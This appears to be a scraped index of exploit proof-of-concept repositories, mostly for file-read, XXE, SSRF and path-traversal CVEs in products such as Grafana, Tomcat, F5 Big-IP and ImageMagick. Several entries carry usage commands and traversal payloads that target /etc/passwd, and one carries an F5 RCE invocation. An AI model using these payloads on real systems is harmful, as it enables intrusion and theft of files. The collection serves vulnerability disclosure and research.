mpDNS

mpDNS aka multi-purpose DNS Server Simple, configurable DNS Server with multiple useful features Python 3 names.db - holds all custom records see examples Simple wildcards like .example.com Catch unicode dns requests Custom actions aka macro: shellexec::dig google.com +short - Execute shell comma...

drupal-openai-provider-ssrf-cve-2026-13233

Drupal OpenAI Provider — SSRF / local file read via response URL CVE-2026-13233 Untrusted upstream: the provider that fetched the URL its response told it to. Drupal OpenAI Provider aiprovideropenai · SSRF CWE-918 · CVE-2026-13233 · SA-CONTRIB-2026-053 Status: Coordinated disclosure complete...

CVE-2025-66516-POC

⚠️ READ DISCLAIMER BEFORE USE ⚠️ Educational/Authorized Testing Only | License | Security Policy About This POC This repository contains a proof-of-concept POC exploit for CVE-2025-66516 , an XML External Entity XXE injection vulnerability in Apache Tika versions prior to 3.2.2. The vulnerability...

CVE-2021-43798

CVE-2021-43798 by Privacy Hunter Affected versions: Grafana 8.0.0-beta1 to 8.3.0 patched versions excluded Vulnerability type: Directory Traversal Severity: Critical Platform: Grafana open-source monitoring and observability platform ⚠️ Vulnerability details Directory traversal can be performed in...

CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 Proof of Concept for CVE-2025-27136 XXE in Local-S3 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + S3 service detected + Creating bucket: xxe-32d14993 + Server response: ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + Retrieving file via ?location + Response:...

CVE-2021-36750

CVE-2021-36749 About - In the Druid ingestion system, the InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read Research Blog python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

poc-yaws-dav-xxe

XXE in Yaws web server CVE-2020-24379 Proof of concept Build test image: docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . and/or Run container docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod Then run: curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout:...

tomcatfileread

CVE-2020-1938 Tomcat File Read / File Include Ghostcat — python3 CVE-2020-1938 CNVD-2020-10487 Tomcat AJP protocol file read / file include vulnerability exploit POC python3 port. Original python2 author: ydhcui — https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi Usage python3...

CVE-2019-5418

CVE-2019-5418 Test case Run : $ rails s PoC : Accept: ../../../../../../../../etc/passwd Req 1 - GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept: diyarbakirguzelbaglardelalelorke ------ CATCH Content-Lengt...

LocalAI - Partial Local File Read

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery SSRF and partial Local File Inclusion LFI. The endpoint supports both https-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the...

Vitest Browser Mode - Local File Read

Vitest is a testing framework powered by Vite. The screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host- true, an attacker can send a request to that handler from remote to get th...

BOA Web Server 0.94.14 - Arbitrary File Access

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. id: CVE-2017-9833 info: name: BOA Web Server 0.94.14 - Arbitrary File Acces...

Eclipse Mojarra - Local File Read

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra...

CVE-2020-5902

CVE-2020-5902 Python script to exploit F5 Big-IP CVE-2020-5902 Examples Exploit local file read: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploit RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

cve-2014-0521

CVE-2014-0521 Adobe Reader vulnerability This JavaScript based Adobe Reader vulnerability affects all versions of Adobe Reader on all platforms prior to version 11.0.07 released on May 13, 2014. The bug was found by Gábor Molnár and was reported on March 10, 2014. Advisories: CVE-2014-0521 Adobe...

CVE-2022-44268

CVE-2022-44268 This repository contains a Proof of Concept POC for a vulnerability in ImageMagick v. 7.1.0-49, a widely used open-source image manipulation library. The vulnerability allows an attacker to embed the content of an arbitrary file into a resized image when ImageMagick parses a PNG...

CVE-2024-40422

CVE-2024-40422 Found this on exploit-db, decided to make my own for practice. This exploit will search out the passwd file and print the contents on a vulnerable system. This script exploits a path transversal vulnerability in Devika v1. Credit to Alperen Ergel for finding the vulnerability to...

CVE-2015-4495

CVE-2015-4495 Exploit for CVE-2015-4495 / mfsa2015-78 How to use Add your logic in the parsedirectorylisting function. Usage $ git clone https://github.com/vincd/CVE-2015-4495.git $ cd CVE-2015-4495 $ python -m SimpleHTTPServer Then open an unpatch Firefox version 39.0.3. A popup should spawn wit...

CVE-2019-8389

CVE-2019-8389 - Arbitrary file read in Musicloud for iOS v1.6 CVE-2019-8389 An exploit code for exploiting a local file read vulnerability in Musicloud v1.6 iOS Application Description: A file-read vulnerability was identified in the Wi-Fi transfer feature of Musicloud 1.6. By default, the...